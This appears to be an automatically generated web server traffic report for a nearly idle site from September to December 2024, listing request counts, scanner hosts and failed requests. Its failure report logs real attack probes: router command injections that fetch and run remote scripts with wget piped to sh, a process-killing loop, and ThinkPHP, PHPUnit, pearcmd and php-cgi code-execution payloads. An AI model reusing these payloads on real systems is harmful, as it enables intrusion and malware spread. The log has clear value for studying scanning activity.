Program started at Sat-21-Dec-2024 00:07.
Analysed requests from Sun-22-Sep-2024 00:12 to Fri-20-Dec-2024 23:43 (89.98 days).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report contains overall statistics.
Figures in parentheses refer to the 7-day period ending 21-Dec-2024 00:07.
Successful requests: 51 (6)
Successful requests for pages: 48 (6)
Failed requests: 18,693 (1,229)
Distinct files requested: 2 (1)
Distinct hosts served: 38 (6)
Corrupt logfile lines: 509
Unwanted logfile entries: 274,276
Data transferred: 7.00 kilobytes (764 bytes)
Average data transferred per day: 79 bytes (109 bytes)
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each month.
Each unit () represents 1 request for a page.
month | reqs | pages | |
---|---|---|---|
Sep 2024 | 8 | 8 | |
Oct 2024 | 19 | 17 | |
Nov 2024 | 12 | 11 | |
Dec 2024 | 12 | 12 |
Busiest month: Oct 2024 (17 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each week.
Each unit () represents 1 request for a page.
week beg. | reqs | pages | |
---|---|---|---|
22/Sep/24 | 5 | 5 | |
29/Sep/24 | 4 | 4 | |
6/Oct/24 | 3 | 2 | |
13/Oct/24 | 11 | 11 | |
20/Oct/24 | 2 | 1 | |
27/Oct/24 | 3 | 3 | |
3/Nov/24 | 3 | 3 | |
10/Nov/24 | 2 | 2 | |
17/Nov/24 | 1 | 1 | |
24/Nov/24 | 5 | 4 | |
1/Dec/24 | 3 | 3 | |
8/Dec/24 | 3 | 3 | |
15/Dec/24 | 6 | 6 |
Busiest week: week beginning 13/Oct/24 (11 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the activity in each day.
Each unit () represents 1 request for a page.
date | reqs | pages | |
---|---|---|---|
9/Nov/24 | 2 | 2 | |
10/Nov/24 | 1 | 1 | |
11/Nov/24 | 1 | 1 | |
12/Nov/24 | 0 | 0 | |
13/Nov/24 | 0 | 0 | |
14/Nov/24 | 0 | 0 | |
15/Nov/24 | 0 | 0 | |
16/Nov/24 | 0 | 0 | |
17/Nov/24 | 0 | 0 | |
18/Nov/24 | 1 | 1 | |
19/Nov/24 | 0 | 0 | |
20/Nov/24 | 0 | 0 | |
21/Nov/24 | 0 | 0 | |
22/Nov/24 | 0 | 0 | |
23/Nov/24 | 0 | 0 | |
24/Nov/24 | 1 | 0 | |
25/Nov/24 | 2 | 2 | |
26/Nov/24 | 0 | 0 | |
27/Nov/24 | 0 | 0 | |
28/Nov/24 | 0 | 0 | |
29/Nov/24 | 0 | 0 | |
30/Nov/24 | 2 | 2 | |
1/Dec/24 | 0 | 0 | |
2/Dec/24 | 1 | 1 | |
3/Dec/24 | 1 | 1 | |
4/Dec/24 | 0 | 0 | |
5/Dec/24 | 0 | 0 | |
6/Dec/24 | 1 | 1 | |
7/Dec/24 | 0 | 0 | |
8/Dec/24 | 1 | 1 | |
9/Dec/24 | 1 | 1 | |
10/Dec/24 | 0 | 0 | |
11/Dec/24 | 1 | 1 | |
12/Dec/24 | 0 | 0 | |
13/Dec/24 | 0 | 0 | |
14/Dec/24 | 0 | 0 | |
15/Dec/24 | 0 | 0 | |
16/Dec/24 | 1 | 1 | |
17/Dec/24 | 0 | 0 | |
18/Dec/24 | 1 | 1 | |
19/Dec/24 | 0 | 0 | |
20/Dec/24 | 4 | 4 |
Busiest day: 19/Oct/24 (9 requests for pages).
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit () represents 1 request for a page.
day | reqs | pages | |
---|---|---|---|
Sun | 3 | 2 | |
Mon | 17 | 17 | |
Tue | 4 | 2 | |
Wed | 4 | 4 | |
Thu | 2 | 2 | |
Fri | 6 | 6 | |
Sat | 15 | 15 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit () represents 1 request for a page.
hour | reqs | pages | |
---|---|---|---|
0 | 0 | 0 | |
1 | 0 | 0 | |
2 | 0 | 0 | |
3 | 2 | 2 | |
4 | 6 | 6 | |
5 | 7 | 7 | |
6 | 3 | 3 | |
7 | 2 | 1 | |
8 | 3 | 3 | |
9 | 9 | 9 | |
10 | 0 | 0 | |
11 | 1 | 1 | |
12 | 2 | 2 | |
13 | 2 | 1 | |
14 | 2 | 2 | |
15 | 1 | 1 | |
16 | 0 | 0 | |
17 | 0 | 0 | |
18 | 2 | 1 | |
19 | 1 | 1 | |
20 | 1 | 1 | |
21 | 4 | 4 | |
22 | 3 | 3 | |
23 | 0 | 0 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the countries of the computers which requested files.
Listing domains, sorted by the amount of traffic.
reqs | %bytes | domain |
---|---|---|
17 | 33.19% | .com (Commercial) |
17 | 31.34% | [unresolved numerical addresses] |
14 | 23.63% | .io (British Indian Ocean Territory) |
3 | 11.84% | .org (Non Profit Making Organisations) |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the organisations of the computers which requested files.
Listing organisations, sorted by the number of requests.
reqs | %bytes | organisation |
---|---|---|
14 | 23.63% | io |
13 | 25.38% | googleusercontent.com |
8 | 15.62% | 60 |
6 | 10.13% | 207.90 |
4 | 7.81% | amazonaws.com |
3 | 11.84% | internet-census.org |
1 | 1.95% | 43 |
1 | 1.69% | 185.165 |
1 | 1.95% | 170.106 |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the computers which requested files.
Listing hosts, sorted alphabetically.
reqs | %bytes | host |
---|---|---|
1 | 1.95% | 43.153.31.180 |
8 | 15.62% | 60.205.186.224 |
1 | 1.95% | 170.106.115.58 |
1 | 1.69% | 185.165.191.27 |
1 | 1.69% | 207.90.244.5 |
1 | 1.69% | 207.90.244.6 |
1 | 1.69% | 207.90.244.11 |
3 | 5.06% | 207.90.244.14 |
1 | 1.95% | ec2-54-151-94-121.us-west-1.compute.amazonaws.com |
1 | 1.95% | ec2-54-176-91-204.us-west-1.compute.amazonaws.com |
1 | 1.95% | ec2-34-212-132-62.us-west-2.compute.amazonaws.com |
1 | 1.95% | ec2-44-243-123-33.us-west-2.compute.amazonaws.com |
1 | 1.95% | 40.4.102.34.bc.googleusercontent.com |
1 | 1.95% | 195.166.150.34.bc.googleusercontent.com |
1 | 1.95% | 151.68.151.34.bc.googleusercontent.com |
1 | 1.95% | 188.182.34.34.bc.googleusercontent.com |
1 | 1.95% | 199.27.39.34.bc.googleusercontent.com |
1 | 1.95% | 102.55.57.34.bc.googleusercontent.com |
1 | 1.95% | 168.31.78.34.bc.googleusercontent.com |
1 | 1.95% | 97.41.83.34.bc.googleusercontent.com |
1 | 1.95% | 129.150.86.34.bc.googleusercontent.com |
1 | 1.95% | 41.248.89.34.bc.googleusercontent.com |
1 | 1.95% | 177.107.195.35.bc.googleusercontent.com |
1 | 1.95% | 140.171.228.35.bc.googleusercontent.com |
1 | 1.95% | 151.113.236.35.bc.googleusercontent.com |
1 | 1.69% | battery.census.shodan.io |
1 | 1.69% | dojo.census.shodan.io |
3 | 5.06% | einstein.census.shodan.io |
1 | 1.69% | flower.census.shodan.io |
2 | 3.38% | guitar.census.shodan.io |
1 | 1.69% | house.census.shodan.io |
1 | 1.69% | mason.census.shodan.io |
1 | 1.69% | red3.census.shodan.io |
1 | 1.69% | soda.census.shodan.io |
2 | 3.38% | wine.census.shodan.io |
1 | 3.95% | zl-ams-nl-gp6-wk117.internet-census.org |
1 | 3.95% | zl-dala-us-gp6-wk116c.internet-census.org |
1 | 3.95% | zl-lax-us-gp6-wk113c.internet-census.org |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)
Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
reqs | %bytes | directory |
---|---|---|
48 | 88.16% | [root directory] |
3 | 11.84% | /icons/ |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the files that caused failures, for example files not found.
Listing the top 30 files by the number of failed requests, sorted by the number of failed requests.
reqs | file |
---|---|
6530 | / |
87 | /?XDEBUG_SESSION_START=phpstorm |
763 | /x16/x03/x01 |
758 | /cgi-bin/luci/ |
84 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://103.149.87.69/t+-O-+|+sh`) |
76 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.17.31/t|sh%3B`) |
74 | /cgi-bin/luci/?form=country&operation=write&country=id>`wget+http://185.157.247.125/e/t+-O-+|sh%3B` |
72 | /cgi-bin/luci/?form=country&operation=write&country=id>`for+pid+in+/proc/[0-9]*/%3B+do+pid%3D${pid%25/}%3B+pid%3D${pid##*/}%3B+exe_path%3D$(ls+-l+/proc/$pid/exe+2>/dev/null+|+awk+'{print+$NF}')%3B+if+[[+$exe_path+%3D%3D+*/+]]%3B+then+kill+-9+$pid%3B+fi%3B+done%3B` |
22 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.99/t|sh%3B`) |
14 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+-O-+http://154.216.19.215/t|sh%3B`) |
13 | /cgi-bin/luci/?form=country&operation=write&country=$(id>`wget+http://45.202.35.24/l+-O-|+sh`) |
568 | /.env |
340 | /x16/x03/x02/x01o/x01 |
311 | /favicon.ico |
239 | /login.rsp |
229 | /index.php |
64 | /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello |
64 | /index.php?lang=../../../../../../../../tmp/index1 |
64 | /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php |
155 | /x16/x03/x01/x05/xa8/x01 |
153 | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
138 | * |
137 | /.git/config |
112 | /bin/sh |
100 | /boaform/admin/formLogin |
16 | /boaform/admin/formLogin?username=user&psd=user |
12 | /boaform/admin/formLogin?username=admin&psd=admin |
94 | /login.asp |
86 | /actuator/gateway/routes |
82 | /geoserver/web/ |
79 | /cgi-bin/%2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/e2ee2e/bin/sh |
73 | /x03 |
69 | /hello.world |
69 | /hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input |
68 | /vendor/phpunit/Util/PHP/eval-stdin.php |
68 | /vendor/phpunit/phpunit/LICENSE/eval-stdin.php |
68 | /phpunit/phpunit/src/Util/PHP/eval-stdin.php |
68 | /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
68 | /vendor/phpunit/src/Util/PHP/eval-stdin.php |
68 | /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php |
66 | /phpunit/phpunit/Util/PHP/eval-stdin.php |
66 | /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
66 | /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php |
66 | /phpunit/src/Util/PHP/eval-stdin.php |
6987 | [not listed: 1,474 files] |
(Go To: Top | General Summary | Monthly Report | Weekly Report | Daily Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Host Report | Directory Report | Failure Report | Request Report)
This report lists the files on the site.
Listing files with at least 20 requests, sorted by the number of requests.
reqs | %bytes | last time | file |
---|---|---|---|
48 | 88.16% | 20/Dec/24 21:21 | / |
3 | 11.84% | 24/Nov/24 18:11 | [not listed: 1 file] |